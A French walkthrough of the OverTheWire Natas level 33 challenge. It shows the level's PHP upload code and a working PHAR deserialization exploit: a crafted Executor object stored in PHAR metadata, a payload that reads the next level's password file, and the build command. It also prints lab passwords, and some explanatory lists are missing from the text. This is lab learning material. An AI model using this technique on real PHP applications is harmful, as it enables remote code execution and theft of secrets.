Niveau 33

Niveau 33

Level Goal

Username: natas33
Password: shoogeiGa2yee3de6Aex8uaXeech5eey
URL: http://natas33.natas.labs.overthewire.org

Une fois connecté on arrive sur un formulaire d'upload en PHP :

<form enctype="multipart/form-data" action="index.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
    <input type="hidden" name="filename" value="u4bb7ho8vucujfjvct346hqrj6" />
    Upload Firmware Update:<br/>
    <input name="uploadedfile" type="file" /><br />
    <input type="submit" value="Upload File" />
</form>

avec le code source suivant associé :

<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
    private $filename=""; 
    private $signature='adeafbadbabec0dedabada55ba55d00d';
    private $init=False;

    function __construct(){
        $this->filename=$_POST["filename"];
        if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
            echo "File is too big<br>";
        }
        else {
            if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
                echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
                echo "Firmware upgrad initialised.<br>";
            }
            else{
                echo "There was an error uploading the file, please try again!<br>";
            }
        }
    }

    function __destruct(){
        // upgrade firmware at the end of this script

        // "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
        if(getcwd() === "/") chdir("/natas33/uploads/");
        if(md5_file($this->filename) == $this->signature){
            echo "Congratulations! Running firmware update: $this->filename <br>";
            passthru("php " . $this->filename);
        }
        else{
            echo "Failur! MD5sum mismatch!<br>";
        }
    }
}
?>

<h1>natas33</h1>
<div id="content">
<h2>Can you get it right?</h2>

<?php
    session_start();
    if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
        new Executor();
    }
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="4096" />
    <input type="hidden" name="filename" value="<? echo session_id(); ?>" />
    Upload Firmware Update:<br/>
    <input name="uploadedfile" type="file" /><br />
    <input type="submit" value="Upload File" />
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>

Le code permet de simuler une mise à jour d'un firmware avec la logique suivante :

On peut imaginer plusieurs hypothèses pour trouver la solution à ce problème :

En l'occurence c'est la dernière hypothèse qui est la bonne : après de nombreuses recherches, la solution plutôt complexe est d'utiliser une archive PHAR. Pour faire simple, une archive PHAR est un format d'archive PHP permettant, à l'instar du format JAR pour Java, de partager une bibliothèque ou une application en un seul fichier.

Plusieurs points sont importants :

Créons un fichier exploit.php qui lira le mot de passe du prochain niveau :

<?php echo file_get_contents('/etc/natas_webpass/natas34'); ?>

Puis créons un second fichier create_phar.php permettant d'exploiter la faille :

class Executor{
    private $filename = "exploit.php"; 
    private $signature = true;
    private $init = false;
    function __construct() {}
    function __destruct() {}
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString("exploit.txt", 'exploit');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new Executor();
$phar->setMetadata($object);
$phar->stopBuffering();

Plusieurs éléments sont à prendre en compte dans ce code :

On utilise ensuite la commande PHP suivante pour créer une archive PHAR :

php --define phar.readonly=0 create_phar.php

L'exploitation va alors se faire en 3 étapes :

Une fois cela fait on obtient le mot de passe du niveau suivant ; shu5ouSu6eicielahhae0mohd4ui5uig